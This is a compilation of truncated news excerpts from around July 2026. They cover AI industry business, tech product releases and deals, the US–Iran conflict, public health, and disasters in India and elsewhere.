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I picked up Seed when I saw the early access key offer in my inbox on a bit of a whim. I vaguely remembered hearing about this game years prior, and being vaguely interested in its promise of an MMO sandbox life-sim sort of situation in which everyone’s dumped in a world together and has to build a society. I enjoy a life sim, so I gave it a whirl. The concept on its own is solid enough: you join a society and build a world from scratch, collaborating with those around you to share resources while developing your own skills and finding your niche in the community. I let Seed select a society for me (shout out to Old Greenhollow) and designed a…

TL;DR Monday.com plans to cut about 620 jobs, 20 percent of staff, as it restructures around its AI-driven growth strategy and flatter organisation Monday.com is cutting roughly 20 percent of its global workforce, about 620 people, as the Israeli project management company restructures around what it calls its AI Work Platform. The company disclosed the plan in a Form 6-K filed with the US Securities and Exchange Commission on Tuesday, citing the need to support a leaner operating model aligned with its AI-driven growth strategy. Co-founder and co-CEO Eran Zinman published a note to staff on LinkedIn calling it the most painful decision the company…

Anthropic will provide Claude AI models to companies participating in the UK Financial Conduct Authority’s next Supercharged Sandbox cohort, as the regulator pushes to test AI applications in financial services.

Nvidia CEO Jensen Huang thinks that American companies should be allowed to use Chinese AI models, even as Washington is trying to ban them. When Axios co-founder Mike Allen asked Huang in an interview if Americans companies should be allowed to use Chinese AI models, Huang responded with “absolutely.” The answer comes right after Chinese firm Moonshot AI released a 2.8T open-weight model called Kimi K3, which — although it isn’t as powerful as frontier models like Fable 5 — is comparable to GPT 5.5 and Claude Opus 4.8 while costing just a third of these models. Go deeper with TH Premium: AI and data centers (Image credit: Microsoft) One of the…

Israeli workplace software maker Monday.com is laying off hundreds of employees as part of a restructuring plan to refocus its investments around AI projects. The company said it is reducing its headcount by 20%, or about 630 staff, to “support a leaner, more focused operating model” as it concentrates on its AI Work Platform. Monday.com earlier this year pivoted hard towards making its AI platform a core offering, redesigning its entire product around the belief that its enterprise customers increasingly want AI agents to work together with their employees. The AI Work Platform currently comprises a no-code app builder, a customizable AI agent, a…

TEHRAN- “On the Edge” by Swiss writer Markus Werner has been published in Persian. Bidgol is the publisher of the book translated by Mohammad Hemmati. “On the Edge” is a psychological drama, masterfully paced exploration of two men who, despite their polar opposite lives, discover a chilling commonality. Thomas Clarin is a successful divorce lawyer whose career has left him cynical and distrustful of lifelong commitment. He prefers a lifestyle of fleeting romance and detachment, avoiding the emotional weight of marriage. In stark contrast, Thomas Loos is a grief-stricken widower, consumed by the profound loss of his wife and an overwhelming…

The Nigerian Communications Commission (NCC) has called for deeper collaboration among African Telecommunications and Communications Regulators to strengthen the use of data, evidence and market intelligence in driving more effective and responsive regulation across the continent. Speaking at the Heads of Regulators Roundtable during the African Telecommunications Union (ATU) Conference of Plenipotentiaries (CPL-26) in Abuja, Dr. Maida said communications regulation has become increasingly central to economic growth, digital transformation, and national development across Africa. He observed that although regulators operate within different market…

TL;DR Arrakis raised $38M led by Blossom Capital and Accel to build an AI operating system for industrial sectors like aerospace and logistics Arrakis, a London and Paris startup building what it calls an AI operating system for industrial companies, has emerged from stealth with $38 million in total funding and a thesis that the biggest returns from artificial intelligence will come from factories and supply chains, not office software. The company raised a $30 million Series A led by Blossom Capital, on top of a seven and a half million dollar seed round led by Accel that closed in March. The Series A values Arrakis at $140 million post-money,…

Andy Jassy, chief executive officer of Amazon.com Inc., speaks during an unveiling event in New York, US, on Wednesday, Feb. 26, 2025. Jassy said Amazon is in the process of building over 100 generative artificial intelligence (AI) features. Michael Nagle \| Bloomberg \| Getty Images Amazon is laying off some employees in its unit focused on artificial general intelligence, the company confirmed Wednesday, as it continues to cut jobs while pouring money into AI. The company declined to disclose how many staffers were affected, or which parts of the AGI organization were exposed to the cuts. The AGI unit is focused on building AI models, and also…

Maybe it was a graduation or a big birthday five years ago. Or that one Mother’s Day surprise dinner, or that video from a Thanksgiving get-together with the extended family. Or maybe it was just a particularly good selfie with perfect lighting. Precious moments can easily get buried deep in the depths of a camera roll, and finding that one pic you need right now can quickly devolve into a hunt-and-peck from hell. Search features native to smartphones can only do so much, and the way media is organized is often up to the whims of developers and mandatory updates. Yes, you could type “dog” or “beach” into the image search bar in your phone‘s media and…

Cisco’s new Antares models are small enough to run on your own machines. And, it claims, they beat Google’s Gemini and rival GPT-class systems at finding bugs. It is releasing them open-weight, though it is vetting who gets access. The pitch from Cisco is a quiet rebuke to the frontier-model arms race. You do not need a giant, pricey AI to hunt for software bugs. And you should not have to ship your source code to OpenAI or Google to do it. Cisco’s Foundation AI team has released two open-weight security models, Antares-350M and Antares-1B, built to find known vulnerabilities buried in existing codebases. They sit on Hugging Face for the community,…

Dimitri Bertsekas PhD ’71, the Jerry McAfee (1940) Emeritus Professor in Engineering in the Department of Electrical Engineering and Computer Science (EECS), a principal investigator in the Laboratory for Information and Decision Systems (LIDS), and the Fulton Professor of Computational Decision Making at Arizona State University, died on June 3 at his home in Belmont, Massachusetts. He was 83 years old. Over the course of his career, Bertsekas’ research spanned, and had a definitive influence upon, several fields, including optimization, control, large-scale computation, reinforcement learning, and artificial intelligence. He served as a consultant…

Advanced Micro Devices (AMD) will sell Anthropic tens of billions of dollars’ worth of AI servers and invest as much as $5bn in the Claude maker, in a deal that would strengthen its foothold in a market dominated by rival Nvidia. The announcement on Wednesday marks the latest so-called circular deal in the AI industry, where chipmakers invest in AI firms that are among their biggest customers. Nvidia has been in talks to invest $30bn in ChatGPT creator OpenAI. Buying AMD chips would secure Anthropic much-needed AI computing capacity. The startup has emerged as one of the leaders in Silicon Valley’s artificial intelligence race, thanks to strong…

For years, consumers have discovered products and made purchase decisions by using search engines, websites, or recommendations from family and friends. Enter artificial intelligence. The technology that has already changed so much, is also transforming shopping. Research by PwC has found that AI tools have become the third most-used channel for product research among consumers, behind search engines and retailer websites or apps. PwC's survey of 1000 consumers found 44 percent said AI had reduced their use of search engines when researching purchases. PwC partner Phil Wheeler said it was an important finding, and highlighted the start of an evolution…

The user asks “what is the effective date of this policy?”. Retrieval returns five candidate line-windows and passes them all to the LLM in one prompt. The LLM reads all five to extract the same date the first candidate already had. Chunks two to five were signatures, footnotes, and a paragraph about historical dates. Paid for nothing. Send the top-1 first, ask the LLM if that is enough, and stop when it says yes: sequential feeding cuts the token cost by 80 % on this class of question. The rest of the article catalogues where sequential wins, where a single-call over all K is the right default, and how the question parser dispatches between the two.…

As Chinese open-weight AI models grow in capability and popularity, arguments about what should be done about them have once again reached a fever pitch. There’s talk that the Trump administration might try to ban them (though it hasn’t yet acted on the idea). Meanwhile, proprietary model makers, particularly OpenAI and Anthropic, appear increasingly concerned about them. Open-weight models such as Moonshot AI’s Kimi K3 or Alibaba’s Qwen offer inference at a fraction of the token cost of closed-source models from these large U.S. labs. The fear is that they also pose some sort of threat. Certainly, they threaten the profit margins of the large…

In brief Hugging Face CEO Clément Delangue thanked Z.ai on X saying the Chinese model became "a key part of our defense" during the breach OpenAI's own models carried out. American frontier AI refused to assist with the forensic investigation—safety filters couldn't tell a security researcher submitting real exploit code from an attacker. Delangue's conclusion: defenders everywhere, not just vetted partners with special API access, need powerful unrestricted AI they can run locally before an attack happens. Hugging Face CEO Clément Delangue just sent the most pointed thank-you note in AI right now—to a Chinese startup—the day after OpenAI confirmed…

The founder now asking enterprises to trust AI with their laptops once built one of Silicon Valley’s most notorious surveillance tools. Roi Tiger co-created Onavo, the app Meta turned into a scheme to spy on its rivals. His new company, Glow, wants to do something close to the opposite. Glow has emerged from stealth with $180m in funding at a $1.2bn valuation. Sequoia, Cyberstarts, Greenoaks and Redpoint Ventures led the round, with Index Ventures, Lux Capital and others joining. Founded in 2025 and split between Tel Aviv and Palo Alto, the startup already employs close to 100 people. Prevention over detection Its pitch inverts how most security…

The Army previously urged workers to get behind AI, offering them unlimited tokens Limits have been reinstated by the long-term future is less certain Iran operation saw token consumption skyrocket The US Army has reportedly been forced to reinstate limits on GenAI use after workers quickly used the full allowance of tokens early, revealing that even one of the most well-funded agencies in the world can't keep up with AI's unpredictable and rising costs. In May 2026, it was revealed that the Army would give users unlimited tokens, but by mid-June that token pool had already run dry. Now an internal email, verified by Wired, confirmed that these limits…

The artificial intelligence industry has no shortage of users. The harder problem is turning that usage into a sustainable business. As generative AI applications spread across consumer and enterprise markets, developers are confronting an unusual combination of opportunities and pressures. AI can make software faster to build and easier to distribute, but the costs of supporting increasingly sophisticated interactions can rise with usage. At the same time, subscription models may not be enough to capture the full economic value of millions of free users. Velocity is building around that gap, and the company has gained a new investor with deep roots…

TAMPA, Fla. — The Federal Communications Commission voted July 22 to push satellite operators out of more C-band spectrum for a 5G auction next year, while approving a licensing overhaul aimed at accelerating the commercial space economy. The upper C-band order sets up a July 2027 auction of 160 megahertz in the 3.98-4.14 gigahertz band, following a sale of 280 MHz of lower C-band in 2020 that generated more than $80 billion from telcos such as Verizon, AT\&T and T-Mobile. Clearing lower and upper C-band frequencies would create a 440 MHz “super band” for terrestrial wireless networks, the FCC said, with services slated to begin in the top 75 U.S.…

Rumors have been swirling for several months about Apple's plans to add an OLED touchscreen to its MacBook Pro, but Bloomberg reports nearly all the company's other laptops and desktops are receiving chip upgrades and, in some cases, design changes within the next year. The highlight of the bunch is a new version of the MacBook Neo, which will reportedly use the A19 Pro chip first introduced on the iPhone 17 Pro, come with more RAM and be available with new colors. In the more immediate future, Bloomberg writes that Apple has prepped updates to the iMac and entry-level 14-inch MacBook Pro for this fall, with a likely focus on chip bumps to the M5 chip…

Before you disable Google Play Protect, here's what you need to know Disabling this security feature grants more freedom, but is it worth the risk? Eza_Nanda/Shutterstock Google launched Play Protect in 2017 to serve as a free, built-in protection system for your Android device. It's your first line of defense, there to shield you from harmful apps even if you don't have a third-party antivirus program installed. The company said Play Protect detected over 27 million new malicious apps in 2025 and either warned users about them or prevented them from running. Play Protect doesn't just check apps from the Play Store before you download them; it also…

Apple today released a new update for Safari Technology Preview, the experimental browser that was first introduced in March 2016. Apple designed ‌Safari Technology Preview‌ to allow users to test features that are planned for future release versions of the Safari browser. ‌Safari Technology Preview‌ 248 includes fixes and updates for Accessibility, CSS, Editing, Forms, Images, JavaScript, Media, Navigation, Networking, Rendering, SVG, Scrolling, Security, Storage, Web API, Web Inspector, WebDriver, and WebRTC. The current ‌Safari Technology Preview‌ release is compatible with machines running macOS Tahoe and macOS Golden Gate, the newest version of…

iOS 27 brings a variety of new features to Apple Wallet, including one exclusive to Apple Card that I wish every card offered: a hub for all recurring transactions. iOS 27 shows Apple Card recurring transactions in one place, making it easy to track subscriptions Subscriptions are increasingly popular in the digital-centric world. As such, it can be easy to lose track of everything you’re subscribed to. While plenty of apps and services offer to keep track of your subscriptions, giving third parties access to your financial info can spark privacy concerns. Fortunately, those solutions soon won’t be needed for Apple Card. In iOS 27, the Wallet app…

Round up school supplies now while deals last. (iStock) Back-to-school shopping doesn't have to break the bank. Save on classroom and dorm room essentials, from HP laptops for up to $200 off to dry-erase markers for just $9. Whether a student in your life is starting elementary school or heading off to college, these deals can help you check every item off your list. Editors' picks Best overall backpack: JanSport backpack Best laptop: HP Stream 14-inch laptop Best dorm purchase: Mesh shower caddy Best lunch box: Bentgo lunch box and bag set Best value buy under $25: Crayola markers, crayons and colored pencils set Best teacher pick: Expo dry-erase…

As social media has evolved from a place to connect with friends into large-scale entertainment platforms, a startup called Yope is quietly building what it believes will be the future of online connection: social networking with no algorithms, no ads, and no public content. Yope’s app, now backed by a $12.3 million seed round led by Northzone, is taking on tech giants like Facebook, TikTok, Snapchat, and Instagram by building a social platform centered on what it refers to as “micro communities” — or small groups where friends and family interact in private, sharing photos, videos, messages, and soon, playing games. The idea of building…

Samsung Galaxy Z Fold 8 vs Fold 8 Ultra: Which new foldable is better for you? Comparing the features of Samsung's two new larger foldables. Sam Rutherford for Engadget Samsung introduced its latest line of foldables at Galaxy Unpacked in London, and this year's series includes a new Ultra variant. The Samsung Galaxy Z Fold 8 Ultra, which starts at $2,099.99, is like the step-up to the Z Fold 7 while the Z Fold 8, starting at $1,899.99, marks a new form factor with a shorter and wider footprint that some might prefer. If you're itching to get your hands on one of these new foldable phones, you now have two models from which to choose (alongside the…

Save on Barefoot Dreams blankets, Le Creuset cookware, La Mer skin care and more. (Nordstrom) Welcome to your weekly shopping guide, specifically curated by the FOX News Deals team FOX News Deals may be compensated for or earn a commission if you buy through our links. Treat yourself to the Barefoot Dreams CozyChic throw blanket while it's on rare sale during Nordstrom's Anniversary Sale. The incredibly soft and lightweight knit adds warmth and texture to your couch or bed. Choose from taupe, navy, pink or light green while it's 40% off. READ MORE:40 Nordstrom Anniversary Sale deals actually worth buying Save on this super-soft Barefoot Dreams…

Exercise is a healthy and, one might argue, necessary part of our lives. The guidelines from public health organizations tell you to aim for at least 150 minutes of “moderate” exercise each week, and that each minute of “vigorous” exercise counts double. That raises the question: What the hell is “moderate” exercise? How do you know when you’re doing it? Moderate exercise is sometimes conflated with "zone 2" exercise. These two things aren't exactly the same, but they do overlap a bit. I'll get into the difference below. Moderate exercise includes activities like walking and casual bicycling, and it counts whether you think of it as a workout or not.…

Long hours at a screen is the reality for many professionals and gamers, and the Swedish company Arozzi's mission is to make items that enhance the experience, especially ergonomic chairs. I've already reviewed an electric standing desk by Arozzi — the minimal, reliable and outright impressive Arena Nordico. In this review I focus on one of the company's best office chairs — the Vernazza Supersoft. If we're going off price and materials used, the Vernazza Supersoft is a premium pick, and following 4-5 months of daily office use, I couldn't be happier. This is the comfiest and most durable office and gaming chair I've regularly parked myself in, and…

Just a few days after releasing macOS 27 Golden Gate developer beta 4, Apple is now rolling out the second public beta of macOS 27. Here’s how to install it. Installing macOS 27 public beta 2 Here’s how to install the macOS 27 Golden Gate public beta 2: Enroll your Mac on the public beta program on Go to System Settings ⇾ General Software ⇾ Update Click the ‘i’ button next to Beta Updates From the dropdown menu in the top-right, select the macOS 27 Golden Gate Public Beta Hit ‘Done’ As most 9to5Mac readers know, running test versions of Apple’s operating systems means having to live with the possibility of running into bugs that range from mild…

We've had some great experiences testing out Creality's range of 3D printers - from beginner-friendly units to machines for large-scale printing projects. So, I was excited to see that plenty of them have been discounted over at Amazon right now. Based on our workshop testing, I've selected the four that are absolutely worth checking out. For beginners, check out the Creality Ender 3 V3 SE for $187 (was $219). If you're a hobbyist on a budget, the excellent Creality K1C has dropped to $399 (was $499). For an exceptional mid-range pick, the Creality K2 Pro is now $649 (was $849). And finally, the Creality K2 Plus Combo for $1199 (was $1529) is an easy…

Need some help with today’s Mini Crossword? It helps if you know your past Saturday Night Live stars. Read on for all the answers. Mini across clues and answers 1A clue: Mother chicken Answer: HEN 4A clue: Word after “leading” and “first” Answer: LADY 5A clue: Just peachy … or a hint to the two letters that appear most often in this grid Answer: DANDY 6A clue: Bryant of “S.N.L.” fame Answer: AIDY 7A clue: Like overcooked chicken Answer: DRY NYT/Screenshot by CNET Mini down clues and answers 1D clue: Helpful Answer: HANDY 2D clue: Swirl of water Answer: EDDY 3D clue: The Yankees, on scoreboards Answer: NYY 4D clue: Supervillain’s hideout Answer: LAIR…

Working from a laptop on the road can feel cramped fast, and a portable second screen is one of the easiest ways to fix that. The AOC Portable Monitor V50 is built for that kind of setup, and there’s a deal on it at Amazon right now through an on-page coupon. You can pick up the AOC Portable Monitor V50 for $99.59, down from its $119.99 recommended retail price. That’s a $20 saving, or 17% off the RRP. It’s not quite the lowest price we’ve seen this year, but it was only cheaper during Prime Day, which still makes this a strong offer if you’ve been waiting for a better price. The V50 is a 15.6-inch Full HD portable monitor designed for travel,…

Apple today released the second public betas of iOS 27 and iPadOS 27, allowing anyone with a compatible device to download and test the new software. The second betas come a week after Apple seeded the first betas. You can get started by signing up on Apple's beta website and then opting in to the public beta by going to Settings > General > Software Update and choosing the ‌iOS 27‌ or ‌iPadOS 27‌ Public Beta option. ‌iOS 27‌ introduces Siri AI, a more capable version of ‌Siri‌ that can search the web, access your personal information, see what's on your screen, and take actions in and across apps. ‌Siri‌ in ‌iOS 27‌ is more similar to Claude or…

Apple today released the second public beta of macOS Golden Gate, allowing non-developers to test the software ahead of its fall release. You can sign up to test the update on Apple's beta website, and then download it by going to System Settings > General > Software Update and toggling on the macOS 27 beta. ‌macOS Golden Gate‌ includes the same Siri AI features as iOS 27 and iPadOS 27, but you get to ‌Siri‌ through Spotlight with a Command + Space keyboard shortcut. ‌Siri‌ can search the web to answer questions, look through your personal data like photos, emails, and messages to help you find what you're searching for, and complete actions in and…

The second iOS 27 public beta is now available for iPhone. It gives users an early chance to try Apple’s biggest software update of the year. Siri AI is the headline feature. The release also includes a redesigned Screen Time experience, Liquid Glass refinements, performance upgrades, and dozens of quality-of-life changes. Here’s how to install the beta, what’s new, and which features you should try first. How to join the iOS 27 public beta The Apple Beta Software Program is free, and you don’t need a developer account. Before you begin, back up your iPhone to iCloud or a computer. Beta software can include bugs, reduced battery life, and third-party…

Apple today released the second public betas of tvOS 27 and watchOS 27, giving Apple TV and Apple Watch users a chance to try the new software ahead of its fall launch. There's also a new HomePod Software 27 beta for the ‌HomePod‌ and HomePod mini. You can sign up for Apple's public beta testing program on the beta website, and then download the updates through the Settings app on each device. ‌watchOS 27‌ adopts Siri AI, and you can use ‌Siri‌ from your wrist as long as you have an iPhone that supports it. ‌Siri‌ AI can access your personal information, answer all kinds of questions, and complete tasks for you. There is a dedicated ‌Siri‌ app that's…

Apple has just released public beta 2 for its forthcoming fall software updates, including iPadOS 27 and more. Here’s what’s new. Apple releases iPadOS 27 public beta 2 alongside more beta updates Earlier this week Apple shipped developer beta 4 for iOS 27, macOS Golden Gate, iPadOS 27, and more. Now today, those same software builds have debuted for public beta testers too. Public beta 2 is rolling out now for iPadOS 27, tvOS 27, HomePod 27, and more. You can enroll in Apple’s public beta program at beta.apple.com. It’s free to sign up, and grants access to pre-release builds of this fall’s major new software updates. After enrolling per the…

More than 1,000 people have died in the Ebola outbreak in Congo, according to Africa’s top health body, a grim toll in the fastest Ebola outbreak in history, as conflict, community resistance and an uneven response fuel its spread. Speaking at a health summit in Ghana on Wednesday, Dr. Jean Kaseya, director-general of the Africa Centres for Disease Control and Prevention, said 1,031 deaths have been confirmed. “These are people dying. They are dying because we don’t have vaccines, we don’t have medicine, we don’t have funding,” he added. The latest update from Congo’s Ministry of Health showed that as of Monday, 2,473 cases had been recorded in the…

The House of Representatives has urged the federal government to adopt a strategic National Drone Industrialisation Policy to strengthen Nigeria’s defence manufacturing capacity and reduce the country’s dependence on imported unmanned aerial vehicles (UAVs). The resolution followed the adoption of a motion sponsored by Ademorin Kuye (APC, Lagos) during plenary on Wednesday. Presenting the motion, Mr Kuye said Nigeria continued to face persistent and evolving security threats, including terrorism, banditry, kidnapping, insurgency and pipeline vandalism, which had placed sustained pressure on the operational capacity of the Armed Forces and other…

The Trump administration’s cuts to the largest global H.I.V. program last year resulted in sharp drops in both prevention efforts and treatment for the people most at risk from the disease, according to the first large survey of organizations that had received the funds. The findings show a grimmer picture of the impact of the cuts than the State Department’s data, released in April, which seemed to suggest that the program had helped to treat about as many people last year as it had in 2024. To comply with the administration’s policies, the new survey, conducted by the H.I.V. charity amfAR, found, three-quarters of the organizations stopped providing…

TEHRAN – Iran's Foreign Ministry spokesman Esmaeil Baqaei has sharply criticized Kuwait following US attacks on Iran that Tehran says were launched from Kuwaiti territory, accusing the Persian Gulf state of betraying decades of Iranian goodwill and igniting widespread anger in the Islamic Republic. In a post on X, Baqaei recalled Iran's assistance to Kuwait after the 1991 Persian Gulf War, when Tehran dispatched a team of 47 oil industry experts at the request of the Kuwaiti government to help extinguish burning oil wells left ablaze by retreating Iraqi forces. He said the Iranian specialists successfully brought 28 wells under control in Kuwait's…

MANILA, Philippines — Philippine Airlines (PAL) continued its buying spree at the Farnborough International Airshow, signing a deal with Rolls-Royce to supply the engines for up to 15 new Airbus A350-1000 aircraft, a day after announcing its first Boeing order since 2007. The flag carrier, led by tycoon Lucio Tan, signed an agreement on the purchase—consisting […]...Keep on reading: PAL orders Rolls-Royce engines

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Trump has faced intense political pressure to end the conflict, and critics have pointed to the cost, which Pentagon chief Pete Hegseth said on Tuesday had soared to US$37.5 billion. But Trump on Wednesday rejected polls showing the war was unpopular with voters as he headed to an airbase for the return of the remains of three US troops killed in recent Iranian attacks. "Americans don't want high gasoline prices but they're not against the war," he said. Brent Crude, the global oil benchmark, briefly topped US$95 a barrel for the first time in six weeks on Wednesday. Crude futures later shed some of the gains, but were still up about three per cent.…

The head of Israel's Mossad intelligence agency traveled to Washington two weeks ago to discuss the Iran war, in his first visit to the US capital since taking office, Axios reported on Wednesday, citing two unidentified sources with knowledge of the situation. He met with CIA Director John Ratcliffe and White House officials, the report said.

Russian forces continue to intensify pressure on the Kupiansk and Kharkiv sectors, but the effectiveness of their offensive operations remains low despite attempts to achieve tangible results before the end of the summer campaign. According to Ukrinform, this was stated during a television broadcast by Viktor Trehubov, spokesperson for the Joint Forces Task Force. "They need to at least simulate the fulfillment of their objectives, which is why they are trying to finish the 'summer campaign' with some visible results. But if we assess the effectiveness of these attempts, it remains low," Trehubov said. According to him, the situation remains difficult…

US President Donald Trump said Tuesday that he would speak to Hezbollah if Lebanese President Joseph Aoun asked him to do it, Anadolu reports. Trump said during a meeting with Aoun at the Oval Office that he is willing to engage with people others might oppose speaking to. “I would speak to Hezbollah. I speak to everybody. I’ll speak to people that a lot of people think I shouldn’t be speaking to, and things work out,” said Trump. “I would say this: if the president wanted me to speak to Hezbollah, you know he’s lived with Hezbollah for a long time, and if the president wanted me to speak to Hezbollah, I would.” Asked about a full withdrawal of the…

TEHRAN - Jianwei Han, an associate professor at the Middle East Studies Institute of Shanghai International Studies University, believes Iran has shown extraordinary resilience against U.S. military pressure, and that the current confrontation marks a watershed moment reshaping the Middle East's strategic landscape. In an interview with the Tehran Times, she discusses the widening gap between U.S. and Israeli objectives, the sustainability of (Persian) Gulf states' neutrality, the economic fallout from the Strait of Hormuz blockade, and the prospects and limits of China-Iran cooperation under sanctions. The following is the full text of the interview:…

TEHRAN- The first International Minab Awakening Lullabies Festival is scheduled to take place in the near future. Organized by the Islamic Culture and Relations Organization (ICRO), under the secretariat of Maziar Rezakhani, the event aims to mobilize a global artistic response to the atrocities committed by the US and the Zionist regime in Minab. The festival has recently issued a worldwide call to mothers across all nations to record and share lullabies dedicated to the children of Minab, transforming a universal symbol of maternal love into a cry for justice and remembrance. The festival secretary Maziar Rezakhani stated that the American-Zionist…

Resalat shifted its focus to the failure of the US and Israel to achieve their goals before the start of the war. It wrote: The reality of the battlefield shows that the hegemonic war machine has not achieved any of its strategic objectives. Neither Iran’s missile and nuclear capabilities have been disabled, nor its strategic depth in the region severed, nor its political structure collapsed. On the contrary, this military adventure has not only produced no strategic achievement for Washington and Tel Aviv but has added a severe geopolitical nightmare to their list of crises: the closure of the Strait of Hormuz—an artery whose blockage directly…

TEHRAN – Iran's Army Commander-in-Chief Maj. Gen. Amir Hatami said Tehran has "not even an Iota of Trust" in its adversaries, accusing them of pursuing both military and psychological campaigns against Iran while insisting the country's armed forces remain fully prepared for future threats. Hatami made the remarks during an inspection of Army grounds, air defense and air force units in the central province of Isfahan, where he assessed operational readiness and addressed military commanders. Speaking about the ongoing conflict, Hatami said Iran believes its adversaries sought more than temporary military gains. According to the commander, their…

Could it be … that Donald Trump isn’t a team player? The midterm elections are less than four months away, and Republicans in the House and the Senate – hampered by a deeply unpopular president and what might be an even less popular war – are increasingly fearful of losing their jobs. Even Trump’s base is beginning to turn against the conflict. Yet asked on Tuesday if Iran is trying to affect the midterm elections by threatening the strait of Hormuz, the Republicans’ de facto leader was pretty blase. “Probably. It won’t have any impact on me. I’m just going to do the right thing. I don’t view it as: ‘Gee, we’re having an election in a period of time.’…

WASHINGTON, July 22. /TASS/. The United States is considering striking the Jamaat Nusrat al-Islam wal-Muslimin group, which says it is part of Al-Qaeda (a terrorist organization recognized and banned in Russia), in Mali, The Washington Post quoted sources as saying. "If approved, it would add an eighth nation to the list of countries where President Donald Trump has ordered strikes since the start of his second term," it said. However, senior US officials disagree over whether to proceed with attacking the militant group. "A vocal advocate for using force is the National Security Council’s senior director for counterterrorism, Sebastian Gorka," the…

US President Donald Trump wants FIFA President Gianni Infantino to be the next secretary-general of the UN, the New York Post reported Tuesday, Anadolu reports. Citing a source close to Trump, the Post reported that the president believes that Infantino “is respected by everyone around the world, and recognizes he has a special ability to bring people together.” Infantino, 56, developed close ties with Trump during this year’s World Cup, with the Swiss-born FIFA president making repeated efforts to court the US leader, including presenting him with FIFA’s inaugural Peace Prize in December, the report said. A successor to current UN chief Antonio…

TEHRAN, July 22. /TASS/. Washington will use the proposed ten-day Iran-US ceasefire to plan a ground operation, so Tehran should reject the initiative, Iranian political scientist and international affairs expert Ruhollah Modabber has told TASS. The Axios portal reported on July 21 that Qatar, Egypt, Pakistan and other mediators have submitted a ten-day ceasefire proposal to the United States and Iran. The portal said US President Donald Trump’s administration was examining it. "This ceasefire is just another American decoy. In other words, the United States plans to use a new trick to deceive Iran’s [negotiating] team and government," the expert…

TEHRAN – US Defense Secretary Pete Hegseth came under intense bipartisan scrutiny during a contentious Senate Appropriations Committee hearing as lawmakers challenged the Trump administration's strategy in the war against Iran, questioned the rapidly escalating financial and human costs of the conflict, and demanded greater transparency over the Pentagon's long-term objectives. Appearing alongside Chairman of the Joint Chiefs of Staff Gen. Dan Caine and Agriculture Secretary Brooke Rollins, Hegseth defended President Donald Trump's emergency supplemental funding request, arguing that additional resources were essential to sustain military operations…

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A team of rescue personnel on Wednesday (July 22, 2026) recovered the body of Uttar Pradesh native Nigam Kumar, who went missing while bathing in the Vilangad river on July 19. The body was spotted after a four-day intensive aerial search using drone cameras over the accident site. Fire and Rescue Services personnel said the body of the 19-year-old was recovered from an area nearly 2 km from the accident site. Two others who reportedly tried to save him from drowning had a narrow escape, they added. Police sources said a dog squad had been deployed to assist the search and rescue operation. Many local rescue volunteers also joined the effort, they…

A view of the under-construction tunnel site in Sikkim’s Namchi district after it collapsed following a suspected methane gas explosion on July 22, 2026. \| Photo Credit: PTI Rescue operations are in full swing to trace the people who were trapped at the under-construction National Hydroelectric Power Corporation (NHPC) Teesta Stage-VI Hydropower Project tunnel in Namchi district of south Sikkim. The tunnel under construction collapsed following an explosion in the ‘Head Race Tunnel’ (HRT) and a geologist from Kottayam is feared trapped inside the tunnel after a landslide blocked its entrance on Monday. Anish Mohan, 43, a native of Illivalavu in…

Two people almost died and three others were injured after being exposed to toxic gas from decomposing fish waste on a fishing boat docked in Canterbury. Four workers were taken to hospital after rotten fish and water was accidentally pumped into a machinery space on the vessel in the dry dock at Lyttelton Port in February last year. Two contractors performing routine maintenance on Antarctic Discovery were able to escape through the rotting fish waste but two crew who went to investigate were knocked unconscious by hydrogen sulphide released from the decaying fish. The Transport Accident Investigation Commission has released its findings into the…

This Letter Penned on the ‘Titanic’ Days Before It Sank Shares the Perspective of the Ship’s Second-Class Passengers The letter, now up for auction, describes good weather and bustling activity as the “Titanic” prepared to set off across the Atlantic Ocean The RMS Titanic, photographed on April 10, 1912, the day that Henry Hodges dated his letter. Public domain via Wikimedia Commons On April 10, 1912, a man named Henry Hodges was a passenger of the RMS Titanic as it prepared to stop at Queenstown, Ireland, the mighty ship’s last port of call before embarking across the Atlantic Ocean on its maiden voyage. Hodges’ first impressions of the Titanic were…

The injured man before his surgery on July 22, 2026. Photo: Special Arrangement A 19-year-old protester hit by a pellet gun during police action at the Cockroach Janta Party’s (CJP)July 20 march to Parliament may lose vision in his right eye, his family said. Sahil Lochab, a resident of Najafgarh in southwest Delhi, underwent a surgery to remove pellets at the AIIMS Jai Prakash Narayan Apex Trauma Centre on Tuesday (July 21, 2026). Doctors have informed that there is only a “1% chance” of vision returning in the injured eye as the pupil was damaged, his family said. *Also Read: CJP protest Live updates on July 22, 2026* Mr. Lochab, who wants to join…

Argentina · Business Key Facts —Closure location. The synthetic-rubber plant sits in Puerto General San Martín, Santa Fe province. —Jobs at risk. About 130 direct workers are affected, with up to 200 impacted indirectly. —New project cost. The Fertil Pampa urea plant in Bahía Blanca requires a US$2.7 billion investment. —Construction employment. The urea project will create more than 3,500 direct jobs during the building phase. —Economic impact. Once running, the plant is expected to contribute roughly US$1 billion yearly to Argentina. Pampa Energía, Argentina’s largest independent energy company, is closing the country’s only synthetic-rubber plant…

The owners of a former General Motors auto parts plant are appealing St. Catharines’ order to repair or demolish the site’s buildings, saying a 120-day extension granted late last month is “not reasonable.” Ontario’s Superior Court of Justice received the notice of appeal on July 14, with numbered company 2390541 Ontario Inc. asking the court to issue several possible rulings. In the notice of appeal, the company is asking for the property standards orders issued for 282 and 285 Ontario St., which were upheld by the city’s property standards committee on June 25, to be set aside. Those orders were issued in May, with the city ordering the buildings to…

People transport a motorcycle through a flood-affected area on a makeshift raft after heavy rainfall, in Golaghat, Assam, on July 22, 2026. \| Photo Credit: PTI The ongoing wave of floods in some eastern districts of Assam has been the worst in 60 years, the State government said on Wednesday (July 22, 2026). The floods have affected more than 8 lakh people and claimed at least 30 human lives in less than a month. Replying to a brief discussion on the flood situation in the 126-member Assam Assembly, State Parliamentary Affairs Minister Pijush Hazarika said the disaster in Sivasagar, Charaideo, and Jorhat districts, “which rarely experience floods of…

Image used for representation. \| Photo Credit: Getty Images/iStockphoto Hours after suspected methane gas killed at least 15 workers inside an NHPC hydropower project tunnel in Sikkim, a father-and-son duo died after inhaling toxic fumes in an alleged illegal coal mine in eastern Assam’s Tinsukia district. A rights body in the district said Sagar Ali and his son Ishan Ali died after inhaling gas emitted as a consequence of the allegedly illegal coal mining in the Ledo area. The incident happened on the night of July 20. The district police, however, said the cause of death remains to be ascertained. “The matter is under investigation,” a senior…

